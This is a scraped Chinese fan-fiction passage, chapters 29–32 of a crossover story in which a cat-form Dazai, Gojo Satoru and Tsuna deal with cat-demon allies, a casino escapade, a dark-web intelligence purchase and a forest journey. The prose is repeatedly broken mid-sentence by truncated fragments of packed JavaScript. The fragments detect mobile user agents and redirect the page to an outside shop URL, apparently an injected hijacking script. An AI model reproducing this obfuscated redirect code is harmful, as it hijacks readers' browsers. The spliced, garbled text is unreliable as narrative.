l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663820|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说是由他们族内的猫妖自主研发,完全适应本族需求的联络机器,而且还是最先进的语音控制2.0版本。 按照说明书上的操作绑定好后,猫和猫之间就可以很方便地远距离互相联络了。 右耳也给他带了见面礼,一个可以在人类世界使用的假身份和绑定了假身份的银行卡,银行卡里存了一百万,按他的说法,是一点零花钱。 假身份上的名字是羽生治,支持改名。 虽然说是假身份,但能通过官方系统的简单筛查,也就是说,应付日常生活足够了。 片刻后,“耳语”上代表绑定完成的按钮发出耀眼的红光,整个机器开始一层层缩小,最后缩到珍珠大小,飞起来,自动贴在太宰猫的耳朵内侧。 太宰猫抖了抖耳朵,那东西轻若无物,只在贴上去的那一瞬间有点感觉,之后就好像从来没有出现过似的。 突然,他触电一般地整个弹跳起来,落地后蹬着四条腿急速跑远,看那个样子是恨不得逃到八百米开外去,头顶一双猫耳朵更是抖得飞起,差一点就要抡出火星子来。 “你跑那么远干嘛啦?”罪魁祸首弯着腰,一脸无辜样地看着他,无故触碰到他猫耳朵内侧的食指还伸着,眼里是全然好奇,“我才摸了一下而已,你的右耳朵突然变得更加毛绒绒了欸~” 本能弓起背部的太宰猫:“……” 你还想摸多久,一下都有点多了好吗? 爪子在自己的耳朵上小心地揉了揉,揉掉刚刚那怪异到让他神经急速跳动的触感,太宰猫平静下来,绕开眼里满是蠢蠢欲动的白发男人,找了个高高的柜子,借旁边的置物架当跳板,三两下跳了上去,蹲在上面,往外眺望。 迎面而来的是广阔的空间和似乎更加新鲜的空气,从上面俯视底下站着的人,让他在刚刚五条悟那番作态之下生出的恼火都散掉不少。 没管站在不远处的那人是什么表情,他开始继续研究耳语。 上午像个昏君一样被妖妃五条悟绊住脚,没来得及做多少事情,下午他打算抓紧时间出去一趟,为明天的行程提前做些准备。 “喵?”太宰猫竖起右耳朵,试探着发出声音,按照说明书上写的,绑定耳语后,想对某只猫妖发起通讯,只需要口头喊他在耳语上绑定的号码,对方就会接到通讯。 滋啦一声后,他的耳朵里传来了左耳的声音:“太宰,你绑定好啦?” “喵?” 还没来得及接话,一道和左耳不同的熟悉声音从外面传过来,那声音近在咫尺,几乎是在怼着他的耳朵说话,同时从前方投过来一道浓重的阴影,笼罩住他的全身。 太宰猫抬起眼帘,五条悟整个人凭空升到了和他平齐的高度,正一脸好奇地看着他,眼里是无法掩饰也完全没有掩饰的兴奋,见他看过来还对着他眨了眨眼睛。 他扬起寒光烁烁的前爪,作势要往前抓,五条悟这才把凑得极近的脸往后退开一步距离。 几句话打发掉‘电话’那头的左耳(听在五条悟的耳中就是又喵喵喵了几声),太宰猫忽然扬起嘴角,对着面前的人类端出一个可爱到犯规的笑脸。 29.你这是在为难我小猫咪 在五条悟也对着他笑起来的那一刻,太宰猫骤然冷下脸,毫不客气地往前一跳,踩着五条悟高挺的鼻梁几步爬到了他的脑袋顶上,并泄愤似的用力跺了几下。 幼猫应该拥有多大的力道,他现在就在用多大的力道踩人。 五条悟恍若未觉,一张带笑的脸上,嘴角仍然上翘着,甚至连上翘的角度都没有一丝一毫的变化。 顶着脑袋上的黑猫悄然落地,他走到沙发边坐下,紧接着就抬起手臂,动作快若闪电地,在黑猫反应过来之前一把将他薅了下来,禁锢在自己怀里。 “你在和猫之左他们联系?”五条悟问。 左耳他们是在五条悟的眼皮底下送的礼物,那些礼物还是他帮着拆掉包装袋并放到太宰猫面前,所以他也知道他们送的是什么。 被拦腰抱住的太宰猫抬起前爪,粉红色的肉垫按在面前线条分明的手臂上,用全身力道使劲推了推。 似乎这回五条悟的注意力终于被他按在手上的力道吸引了过来,从上方投来一道目光,紧接着抱着他的手臂松开,得以让他从牢笼里逃出来。 蹲坐在茶几上,黑猫甩了甩头,怏怏地叹了口气,用一种真拿你没办法的眼神瞪了五条悟一眼,对着他上下点了点头。 之后不管五条悟再怎么问,黑猫都仅仅是以点头和摇头回应他。 大概十几分钟后,五条悟将两条长腿叉开往前伸,上半身往后一靠,脑后抵在沙发顶上,面对天花板仰头,他的左手搭在沙发扶手上,另一只手扬了起来,以手背覆盖额头,挫败地叹了口气。 ——怎么问都没能听到太宰再喵一声。 对着他喵一声怎么啦?他刚刚对着别人不就喵得很起劲吗? 屋内的空气突兀地陷入沉默,五条悟一不说话就显得这里仿佛没人了一样冷清。 直到一声突如其来的门铃声响起,打破这令人不安的寂静,但一人一猫仍然维持着原来的动作不变。 门铃响了三声,三声后,一道大到甚至能盖过门铃,朝气蓬勃的声音穿透房门砸了进来:“太宰,我按照约定来找你啦!” “欸,太宰,你不在吗?”门铃又响了几声,“是我啊,你的表哥,表弟你快来给我开门啊!” 蹲坐着一动不动的太宰猫忽然转过头,盯了门板一眼。 再次转过头,瞟了一眼仍然端坐着不动,像是没听到这道声音的五条悟,太宰猫跳下茶几,几步跑到门口,人立而起,前爪搭在门把手,拨了几下,很快,紧闭的大门被打开。 用尽力气拉了大门一下,没等受力的大门完全开合,黑猫嗖的一下就从缝隙里溜了出去,不一会儿,门外传来人类说话的声音,叽叽喳喳嘈杂得很,间或还能听到一声没什么感情的喵。 不知道是在什么时候发生的,五条悟改变了坐姿,他面对着门口,脸上无甚表情。 一旦没有表情,那张脸就不由得透露出几分遥远的距离感来,叫人不敢靠近,那双不同寻常的苍蓝色眼眸更是如同结了一层坚冰的贝加尔湖,凛然而不可侵犯。 说话声和着瞄声一起渐渐远去,最后消失不见,五条悟垂下眼睑,视线落在地板上的某一点上。 如果不是那偶尔才眨一下的眼睛,他看起来就像是一座没有感情的雕塑。 另外一边,太宰猫跟着左耳坐出租车来到商业街,一下车,左耳就夸张地嘘了一口气:“治酱,收留你的那位五条先生好可怕哦,我隔着门板都能感觉到他身上恐怖的杀气呢!” 等等,你管我叫什么? 跟在他后面,从打开的车门一跃而下的黑猫猝然一个脚滑,后脖颈几乎是立刻起了一层鸡皮疙瘩,同时浑身过电般打了个激灵,四肢也像是不协调一样混乱地摆动,带得他几乎要一头栽到地上。 几秒钟后,太宰猫好不容易踉踉跄跄地站稳,一张猫脸上肉眼可见地具象化了不适和嫌弃两种表情。 “不要叫我那个名字,叫我太宰!”他喵喵喵了几声,语气非常之抵触。 外人听着是在喵,听在左耳的耳朵里就不是喵了。 “族里的幼崽明明都很喜欢我的叫法,”左耳小声嘟囔了几句,顶着从下方袭来的死亡视线,声音不禁越来越小,“不过治酱你看起来和别的幼崽确实有点不同……” 在黑猫越发凌厉的目光下,他挠了挠头发,勉为其难地改口了:“……好吧好吧,我叫你太宰就是了。” 不一会儿,左耳就忘掉了这回事似的,双眼好奇地向四面八方张望,大概一分钟后,他收回眼神,对着太宰一脸满足地道:“我想出来很久了,这次总算是实现了愿望。” “对了太宰,你可以叫我左耳哦,我的朋友们都这么叫我。”他兴高采烈地道,“还有还有,我的双胞胎兄弟,你夸过敏锐的那个,你可以叫他右耳,这两个名字很简单也很好记吧,我们这还是第一次来人类世界……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667861|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >黑猫停下蓄势待发的动作,身体放松,哒哒哒地走在左耳身边,听他滔滔不绝地讲述他和右耳,以及族内曾经发生过的一些事情。 左耳的描述天马行空,说了几句关于第一次出远门的感想后,就突然跳到右耳下午有很重要的事情要做,所以才会只有他一个人过来,再跳到上次被五条悟打了一顿实在很疼,疼得他昨天半晚上都没睡着。 下一秒又变成了他以前去看望族里的幼崽们,每回过去他都会被他们当成猫爬架,那些幼崽们一点都不怕他,右耳就和他不一样,他们在他面前总是很乖很懂事,一点也不给他找麻烦,他心里其实有点羡慕来着…… 一路上一点也不寂寞呢,就是有点耳朵疼。 两人走到目的地后,左耳才停下自己叽叽喳喳的声音。 抬着头,他石化了一般矗立着一动不动,许久后张大嘴:“这里……?太宰,你确定你想来的是这种地方?” 他们眼前是一座金碧辉煌的建筑物,大门是当下时髦的款式,宽阔得足以让四个人并排进入,门口站着两个穿着黑西装,戴墨镜的大汉,身材有两个左耳宽,肌肉鼓鼓囊囊,几乎撑得西装要爆裂开来,一看就不是什么好惹的人。 “就是这里哟~”太宰猫确定地点点头。 “可是……这里好像是赌场啊?!”左耳满眼畏惧地看着进进出出的人群,脚步不经意地慢慢往后退了几步,“听说赌场都是吃人不吐骨头的地方。” “哎呀你又不是人,你是堂堂猫妖哦。”太宰理所当然地说道。 “你说得好像有点道理欸。”左耳骄傲地挺起胸膛,往后退的脚步也在不知不觉中停下,唯独看着前面建筑物的脸上仍然带着点踟蹰,“但是,但是右耳知道后肯定……” 太宰猫顺着他的裤腿往上攀爬,几下就在他的肩头蹲下,催促道:“别担心啦,我就是想过来这里见识一下,你别说出去不就好了。” 左耳仍然带着点犹豫不决的脸上出现了不明显的动摇。 “亏了算我的,赚了钱分给你十分之一,”太宰侧过头,盯着他的脸色变化,缓缓抛出一句话:“你不是很想给族里的那些小家伙们带礼物吗?” 绝杀!左耳剧烈动摇起来,身体不受控制地往前走了一步,感受到身下的震动,太宰望向前方,脸上扬起一个隐秘的微笑:“进去后记得听我指挥哦~” “啊啊啊啊!你不是说你就是想去见识一下吗?” 30.不喵的后果 夜幕低垂的晚上,一轮月亮明晃晃地挂在天上,天幕上的群星高兴地一闪一闪,把点点银白光芒慷慨地洒向大地。 被月光和星光照亮的左耳仓皇地在街头小巷里急促地奔跑着,后面隔着百米的距离跟着一群手持长刀和棍棒,穿着各色服装的社会人士。 “不就是赚了他一点零花钱吗?哎呀这家赌场开这么大,老板怎么这么小气哦。”太宰猫的爪子紧扣住左耳的肩膀,防止自己被高速奔跑的他甩出去,嘴上事不关己似的评价道。 “不要说得这么轻描淡写啊,你进去一次就赚了五千万,本金翻了十倍都不止啊!”左耳已经有点上气不接下气了,但听到太宰的话后还是一口恶气冲上喉咙,忍不住出声抗议。 后面的黑西装大汉们似乎听到了他的只言片语,骂骂嚷嚷的声音几乎要吵到天上去,连同并不平静的脚步声和大口大口的喘气声一并传到了他们的耳朵里,一副受到了很大刺激的样子。 “左耳你又‘激励’了他们一把呢~”太宰猫隐隐带着笑意的声音响起,“多亏了你哦,这场猫咪追逐战看起来还可以持续很久。” “啊啊怎么这么烦人啊!” 左耳啐了一口,不禁在心里替自己掬了一把辛酸泪,他们已经逃亡大半个小时了,刚从赌场出来的时候还好好的,结果在走到一条人迹罕至的巷道时,突然就被一群社会人士们包围住。 两个带着棍棒,看着就不像好人的小混混突然出现在巷道前头,堵住他们的去路,巷道比较狭窄,两个人并排站在一起的时候,几乎堵住了所有空隙,其他人再想出去就必须挤开这两个人。 不想惹事的左耳刚想往后退,一转头就发现后面也围过来两个和前头穿着一样的打手们。 两头都被堵住,左耳只好停在原地,那时候他还有点莫名其妙。 等到一个穿着花衬衫,脖子上戴着金链子,大拇指还戴着一个青色玉扳指,着装像是暴发户,似乎是领头的人走到他面前,要他吐出所有从赌场赚来的钱后,左耳才知道为什么他会遇到这一出。 虽然隐约意识到去赌场捞钱不好,但是他可从没想过会是这方面的不好啊! 好歹是猫妖,不是手无缚鸡之力的孱弱人类,他当然不会因为一个小小管事的威胁就妥协,所以他们理所当然地打了一架。 以一己之力打倒这群貌似凶神恶煞的人类后,左耳还以为没事了,结果才走出几百米,他又遇到了一群打手们,这次还是加倍待遇,打手们的数量翻了倍。 可惜,数量是翻了倍,质量还是一样差。 还算比较轻松地打倒这群人后,接下来却是一发不可收拾,来堵他们的人越来越多,在太宰的提醒下他不得不收手,将应对的策略改为趁着包围圈还没形成找空隙逃跑,免得事态越发严重,甚至升级到他收拾不了的地步。 “不行,这么下去简直没完没了了。”左耳愁眉苦脸地往后望了一眼,黑压压的人头在一片黢黑里若隐若现,因为偶尔会有星星点点的白光照在他们的脸上,那是手电筒发出的光芒,随着奔跑的动作忽东忽西。 这群人类真是够坚韧,跟了他这么久,跟得他都觉得有点累了,明明人类和猫妖在体力上不可同日而语。 这么坚韧的精神能不能用在人类举办的奥运会上啊!他怨念地想。 “太宰,你有什么办法吗?” “只要甩掉他们不就可以了,”太宰的声音很平静,平静得就像是他在说的是无可置疑的世界至理,“你们猫之一族的速度不止于此吧。” “那得变回去才行,当着这群人类的面,我不能随便变形。”左耳小声说道。 虽然他已经在五条悟的面前破戒了,但那是特例,左耳还不想在大庭广众之下打破他们一族的原则。 “那么,这样做就好啦。”太宰对着左耳说了几句话。 左耳眼睛一亮,在下个街头调转方向,跑出阴暗的小巷,以百米冲刺的速度钻进路边一家高达两百米的大楼里,左拐右拐后消失在稠密的人群里。 高高壮壮的打手们分成两队,一队人进去,向着左耳最后消失的方向地毯式地搜索,另一队人留在商场门口,堵住大门,每出来一个就以阴狠的眼神和居高临下的态度强行命令人站住,仔细观察发现不是左耳后才让人离开。 这一下子就捅了马蜂窝,商场里的人群议论纷纷,有的说要报警,有的威胁自己是某某某,你们是哪家的,他一定要向上面举报这种行为,叫你们吃不了兜着走,搞得守在门口的黑西装们焦头烂额,但他们仍然很‘敬业’地坚守岗位坚持检查,只不过态度变得客气了许多而已。 地毯式搜索的那一队进度也明显慢了下来,这家商场是这座城市里最昂贵也最奢侈的地方,会来这里的人一般非富即贵,不是他们这种小喽啰能得罪得起的。 这个时候左耳已经带着太宰猫上了二楼,趁着暂时性地甩掉跟在后面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672869|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那群人的间隙,假装急匆匆地走进一个偏僻的男厕所,在隔间变成虎斑猫。 等到外面的人走光后,两只猫从隔间出来,打开窗户钻了出去,四只脚踏在外墙上,轻轻松松地翻下了楼。 下楼后,比黑猫大了一圈的虎斑猫叼着黑猫的后脖颈跑起来,风驰电掣地越过半条街,仅仅几分钟之后就出现在另一条街的草丛里。 追在他们后面的那群打手们还在一一排查前门出入的人类,殊不知两只猫已经从别的地方溜走了。 又跑了大半个小时,直到视野尽头隐隐出现那栋被一圈红砖围住的二层独栋房屋的影子,虎斑猫才放下黑猫,在黑暗无人的小巷里变成人形。 “今天好刺激啊!”左耳乐呵呵地笑了几声,虽然刚刚被人追得有点厌烦,但这会儿脱离险境后他又开心了起来。 一边走路,他一边同太宰述说今次的内心感想,说到高兴处,几乎是手舞足蹈地比划,黑猫默不作声,只是静静地听着。 快要走到门口的时候,一人一猫不约而同地停住脚步,脑袋齐齐向上抬起了一个八度。 门口附近的路灯下,一个高大的人影抱臂站在那里,显眼的银白色柔软发丝安分自然地垂落,他低着头,看不清眼神,视线似乎对准了地上自己的影子。 那道影子从他的脚底长出来,被路灯射下的偏黄光芒拉长弯曲,一路延伸进黑暗中。 他头顶的路灯已经接近报废的边缘,就在他们的眼皮底下,表面布满灰尘的灯泡骤然熄灭,乍一下仿佛把站在路灯下的那人拖进了黑暗里,却又在下一刻亮了起来,于是那个人又骤然出现。 忽明忽暗之下,衬得连人带影子像是什么即将吃人的鬼怪。 比如瘦长鬼影什么的。 看到这一幕,左耳整个人都不好了,他浑身一哆嗦,本能后退了一步。 犹豫片刻,左耳低头看向也停下来的黑猫,悄悄蹲下,无声地挪近,单手挡在自己的嘴前,悄声在黑猫耳边说道:“我就送你送到这里了。” “太宰,再见啦!”说完后他便以迅雷不及掩耳的速度匆匆撤离现场。 黑猫无语地回头,疯狂奔跑的左耳已经跑出去了大概几百米远,再次回头的时候,路灯下的那人似乎被这边的动静吸引了注意力,抬头瞧了过来。 正好撞上他的视线。 啪嗒,黑猫的爪子意外踢到了一颗不规则的小石子,石头叽里咕噜地滚了出去。 31.一抹温热和柔软 此情此景,有点像是他刚来到这个世界的时候,那个时候,也是一抬头就撞进了对方的视线里。 只不过,他对这人的感觉已经不可同日而语。 才过了三天而已呢。 却像是已经和他一起度过了很多天,熟悉到回来时见到这个人,即使是在这种情况下,他也不担心自己会受到伤害。 好奇怪,原来仅仅过去了三天时间吗? 黑猫思忖着在原地停留了片刻,迎着对方看过来的、寒气即将满溢的视线,抬起爪子,走到他面前。 五条悟的头发是柔软的,眼神是没有温度的,伸过来的手是温热的,捞起他的臂膀是硬邦邦的,这家伙就像是有个什么和小动物皮肤接触指标似的,时不时就会来这一出。 提前预料到会发生这一幕的太宰却是听之任之。 对于这种待遇,他已经从一开始的极力反抗变成自暴自弃般的麻木了。 也不知道五条君在不高兴什么呢,是没有对他说话?因为他只用点头和摇头敷衍他?但是说了他又听不懂,这种只会白费力气的事情做了不是白做嘛,太宰在心里默默腹诽。 “太宰,你今天回来太晚了。”似乎是因为他主动靠过来的行为,五条悟看着黑猫的眼神回温了很多。 抱着黑猫,他转身向着后边的房门走去,一边走,一边貌似平静地提醒道:“已经十点多了哦。” 太宰:“……” 连讨厌的森先生都不会给他设门禁欸! 倒不如说,夜晚才是黑手党开始活动的时间,即使他待在黑手党时还是未成年,但未成年黑手党也是黑手党,更何况现在他都已经成年了,更加不会有人管他在什么时间点回去。 有点新奇,太宰猫眨了眨鸢色的眼睛,干脆把脑袋搁在拦在身前的手臂上,好歹可以省下一点力气。 反正都已经变成这样了,让五条君再多承担一点也没什么啦~ 五条悟脚步一顿,小臂上方朦朦胧胧的多了点重量,一抹温热和柔软透过棉质的薄薄布料渗透进皮肤里面,毛绒绒又飘忽忽。 那点异样顺着手臂渐渐爬到了手掌,叫他忍不住蜷起大拇指,抵在掌心上,左右用力摩梭,一下又一下,给掌心白皙的皮肤添上了一道显眼的红痕。 这是黑猫第一次把自己主动交托到他的手上,要知道,这家伙以往对他的行为,可一直都是极力抗拒的态度。 五条悟没有低头,在微不可察的停顿之后继续往前走,打开大门,走进客厅,在沙发上坐下后才慢吞吞地放开黑猫。 片刻后,一阵蹬蹬蹬的声音由远及近地传了过来,溜到了茶几上的黑猫抬起头,沢田纲吉像一阵风一样从二楼刮了下来,直刮到他面前:“太宰,我学会摩斯密码了,你有什么想对我们说的话,都可以通过摩斯密码告诉我!” 摩斯密码可以通过不同的信号排列顺序来表达不同的英文字母、数字和标点符号,在不方便说话的情况下,如果学会摩斯密码,就可以用不同频率,不同长短的敲击声传达想要表达的内容。 看着纲吉眼周一圈淡淡的黑色,以及脸上那兴奋神情都挡不住的苍白脸色,黑猫一双鸢眼微微睁大,原来从昨晚开始一直到现在,纲吉都在做这个吗? 总觉得,有点盛情难却呀。 明明不需要做到这个地步的,真是叫人为难,黑猫垂下头,那边纲吉的话还没说完:“你那么聪明,应该懂得摩斯密码吧?” 见黑猫没什么反应,纲吉挠了挠头,眉头慢慢蹙了起来,“难道是我为难你了?你没有学过这个?对不……” 叮叮叮的声音骤然响起,打断了他的道歉,纲吉装满了摩斯密码的脑袋下意识地根据这段不同频率和长短的敲击声翻译:“谢、谢、你。” 虽然还有点生涩,但一天时间的努力总算没有白费,他成功翻译出这段话。 反应过来的纲吉在脸上堆起高兴的笑容,腼腆地道:“不用谢啦,太宰你还不是帮了我免……” 途中被五条悟的眼风扫到,想起什么的纲吉立刻换了一个词,声音也提高了一大截:“帮了我很多,太宰你还有什么想说的,都可以这样做,我已经记住了差不多所有摩斯密码对应的……” 纲吉暴露出的些微异样,如果是旁人,可能不会注意到,但太宰却没有漏过一处不自然。 他扫了两人一眼,很快猜到了纲吉原本想说的是什么,同时他想起了五条悟在今天上午的话里提到的,叫他莫名奇妙的上次,结合那一次表现出的怨念,他也总算是知道了个大概。 该说他脑回路异于常人吗?五条君考虑问题的角度真是着实刁钻呀。 思绪回到当下,纲吉还在滔滔不绝地做保证,太宰抬起前爪,爪尖磕在玻璃茶几上,发出一串流畅又动听的叮声。 纲吉立刻停住话头,凝神细听,等他敲打完后在脑海里转换成人类能听懂的话:“辛苦、你了。” “不辛苦不辛苦……” “喂你们两个这么客气来客气去的,还有完没完了?”却是五条悟横插一杠,打断了一人一猫的特别对话。 “要说就说点有用的嘛,纲吉你下个星期应该是要向学校请假的吧,”五条悟看向纲吉,“如果你想跟着我和太宰一起去找那个猫之千的话。” “虽然说是明天出发,但保不齐会有意外发生,一天时间不够处理完那件事,结果导致你来不及返回学校哦~” “……也是啊,”纲吉摸了摸鼻子,抬头看向五条悟,好奇地问:“五条老师你不用请假吗?” “我教的课程比较少,可以让其他老师帮我顶一顶,等我回来之后再还他们的人情,”五条悟昂起下巴,“就相当于换课啦,短时间内大家应该都会给我这个面子。” “欸——真好,”沢田纲吉满眼羡慕,“偶尔我也想要别人来代替我学习一阵,就算是只有几天时间也好。” 特别是五条老师教的,难得要死的数学课。 “我们两个的任务,是不可以比较和替换的哦~”五条悟笑着提醒了一句。 “只是说说而已啦,五条老师。”沢田纲吉笑了一下,“我是知道的,学习是自己的事情,而且只要我稍微做出一点出格的事情,reborn绝对会用大锤子砸我的脑袋,砸到我清醒为止。” 斯巴达教师啊! 五条悟啧了一声,倒也没有把这话说出口。 明明那位reborn不在这里,根本做不到纲吉话里所说的事情,但纲吉却像是在脑门上刻了一条准绳,时时刻刻都不会逾越,真的做到了把他的话记在心里。 几人这样天马行空地聊过一阵后,太宰猫独自溜上了二楼,再次变成人形,坐到了电脑椅上。 这是今天的第二次变形,幸好每天有两次变化的机会这个规则还没有改变,让他还能留有余裕地处理一些重要事情。 打开电脑,进入暗塔,上次他就发现了,暗塔里有很多情报贩子在活动,他们留下的痕迹他一眼就能看出来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678548|186101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时间宝贵,他找到其中消息最为灵通的那位情报贩子,把自己的要求和为此提供的报酬一并打了过去,如果所料没错,对方应该会接下这笔交易。 果然,一分钟时间都没过去,他发过去的消息有了回复,凝神一看,那位情报贩子同意了他说的交易,但需要他在【交易】板块发起有平台约束的正式交易,条件和报酬就按他说好的来。 太宰思考了一下,果断打开【交易】板块。 反正他又不打算反悔,在【交易】板块做这笔交易也好,有平台的约束,还可以保证对方所给的情报的真实性。 顺便亲身体验一下这个被暗塔隐藏起来的,宝贵标签的效果。 不一会儿,太宰顺利接收到对方发过来的一大堆电子文件,说好的报酬提前打进了暗塔给他提供的公共账户里,这边他确认交易完成后,存在暗塔公共账户里的报酬就会自动打过去。 确认屏幕上出现交易完成的字眼,太宰关闭暗塔,打开电子文件,转眼间,不同的文件页面挤满了整个屏幕。 一张张看过去,只花了大概十五分钟,他便全部看完了。 但维持人形的时间也所剩无几,一边在心里计算着时间,他一边照惯例清理掉自己留下的痕迹,然后关闭电脑。 右耳给的那个账户上只剩下五百万,其他的全部投入了这次对情报的购买,其实他还有点诧异账户上竟然还能剩下这么些钱,他给那个情报贩子报价时,一开始是往低了报,就等着对方还价,结果对方根本没怎么还价,相当干脆地接受了他的报价。 稍微有一点点不符合对方以往表现出来的行为规律呢,太宰已经变回了黑猫的形状,蹲在椅子上,身后的一长条猫尾巴甩来甩去。 他在找这人交易前曾在网上搜索过对方以往的战绩和评价,这人就算不是锱铢必较,也是一点也不吃亏,不应该接受他这份低于正常水平的报价才对。 但他给过来的情报没问题,交易也很爽快。 这么干想也得不到结论,太宰把这一点暂且记在心里,跳下椅子,溜出书房,反正即使是再怎么深藏不露的老狐狸,狐狸尾巴总有一天也会露出来的。 * “呐,对方爽快地完成了这笔交易,看起来没有起疑,情报顺利地给出去了。”坐在电脑后的青年脚尖在地上点了一下,万向轮和地板摩擦的咕噜声响起,转椅带着他转了一个圈,面向身后背着双手的中年男人,“为什么要让我卖给他情报?” “预言显示他的能力对我们接下来的行动有帮助。” “预言?”青年用看神经病的眼神看他,“这世上哪有预言啊,你脑子坏掉了不成?” 中年男人的表情顿时变得难看起来,他铁青着脸大声斥道:“月见,不可对预言不敬!” “这是神明对我们的启示。”说这句话的时候,他的脸色像是翻书一样立马转为了虔敬。 “是【预示者】标签吧,”被称为月见的青年脸色不变,微微眯起一双眼角天然上翘的丹凤眼,“那个标签告诉了你们什么?让你们做出了临时改变计划……。” 中年男人的眼角微微抽动,月见的话还没说完他就板起脸斥道:“你只是个刚加入我们的新人,不该你知道的事情不要瞎打听!” “好好好~”月见看了他一眼,抓了抓烟灰色的短发,笑着懒散地应了一声,咕噜一声转了回去,“你说什么都好啦。” 但和声音里的轻松不同的是,他的眼里是一片淡漠。 32.让我去死一死 翌日,也就是假期的最后一天,天蒙蒙亮的时候,太宰他们出了房子,在路边打了一辆出租车,一路开了大概一个小时多一点,在和右耳约定好的地点停下。 另外两个人先下车,太宰猫最后一个蹦下车,等他们这一行会和猫说话的怪人消失,出租车二话不说立马启动,扬起一地烟尘。 差点吃了一嘴灰的太宰猫蹦跶着跳到了五条悟身后,以人为盾躲开这一出无妄之灾。 前方隐隐约约传来说话的声音,等烟尘散去后,太宰猫从五条悟脚边探出头,朝那个方向张望了一眼。 那边似乎在吵架的两个人也感知到了他们这一行人的到来,向他们投来视线。 看到他们,更准确点说,是在看到他的那一瞬间,左耳的眼睛里突然爆发出比白炽灯还要明亮的光芒,投过来的视线里也满是急切,仿佛他是他的救命稻草一样。 太宰猫歪了歪头,恍惚自己是不是看错了什么,然后就立刻听见了他急得要命的声音:“太宰,快快快,快过来给我作证,我真的不是自己想去赌场的!” 捕捉到某个关键词,五条悟挑起眉毛,眼神意味深长地注视着黑猫。 纲吉和右耳也一并看向黑猫。 有幸得到全场注视的太宰:“……” 昨天他和左耳一起去赌场的事情到底是怎么暴露得这么快的?虽然他没对单纯的左耳抱有很高的期望,但也不至于才一晚上过去就露陷了吧! 左耳这家伙,莫不是回去后就说漏嘴了?明明让他保密的,还是说这两兄弟的账户联通了,给左耳分润的报酬因为账户变动被右耳知道了?亦或者左耳回去的路上买了超过正常程度的礼物,然后被右耳知道了,这家伙连个借口都不会找吗? 脑海里转着不为人知的念头,顶着一众人的视线,太宰猫一脸无辜地摇了摇头,亮闪闪的鸢色大眼睛一眨一眨,蹲在那里就是一副可怜又可爱的正统小猫咪样,端的是一个不承认不知道不要找我。 左耳:“……” 你昨天可不是这样的.JPG 没等他从太宰这副模样给他带来的震惊中回过神来,右耳已经一脸凶神恶煞地提起了他的领子,把他拖去旁边僻静的地方。 再次回来的两人,右耳微抬起下巴,神清气爽地走在前面,左耳耷拉着脑袋,灰头土脸地跟在后面,回来后还时不时用幽怨的小眼神偷瞄太宰。 太宰能被他的小眼神盯到愧疚吗?那必须不能啊! 不管他盯多久,太宰都不为所动,镇静如常。 闲话少叙,几个人会和后,右耳带头往外边走,他们现在所在的正好是城市和荒野的边界地带,打眼看去,外边尽是一望无际的草原,部分地方甚至底下的黄色土壤完全暴露在外,到处都长着不知名的野草,还有一堆堆不规则的巨石,挤在一起堆成了崎岖的小山。 他们在荒野上走了大概半个多小时,然后在一座茂密的森林前停下来。 这一行人里,走在最前头的右耳站在离森林一步之外的地方,仰着头,视线不知道注视着何处。 眺望了一会儿后,他突然转头,挨个看了后面几个一眼,郑重地道:“提醒你们一句,这座森林名为幽光森林,是全世界最大的一座森林,里面环境复杂,还藏着很多不为人知的秘密,危险无处不在。” “进入森林后,一步一步跟着我走,不要走错路了。” 视线所及之处,沢田纲吉对着他疯狂点头,表情怪认真的,五条悟也仰着头,脸上没什么变化,也不知道听没听到他说的话。 最可气的是,太宰和左耳两个猫落在最后面,和他们拉开了好大一段距离,一看就没听他说话。 队伍不好带啊! 右耳扶着额头叹了口气,懒得再说什么了。 一行人走进幽光森林,仍然是右耳打头,沢田纲吉第二个,五条悟走在他身边,后面就是两只猫了。 是的,左耳变回了原形虎斑猫。 “还是本来形态更舒服~”左耳猫喵了一声。 太宰猫抖了抖耳朵,左耳猫说的话在他耳中自动转换成了他能听懂的话,但喵声他也能听到,就像是有两套不同的器官在同时起作用。 这种感觉他还是第一次经历,他稍微有点不适应,前几次猫之一族的那些猫妖都是变成人类之后再和他说话,所以他现在才发现。 等那奇异的感觉褪去后,太宰猫转头看向虎斑猫,虎斑猫的头顶,左边猫耳耷拉着,右边猫耳挺立着,和变成人类时一模一样。 看了一眼后,他将目光往下移动,落到虎斑猫琥珀色的眼睛上:“左耳,你能变大吗?” “变大?” “把现在这个形态变大一倍或者两倍,你有什么办法吗?”太宰猫想了想,突然提了一嘴,“是说啊,猫之千就曾经在我面前变大过一次哦~” 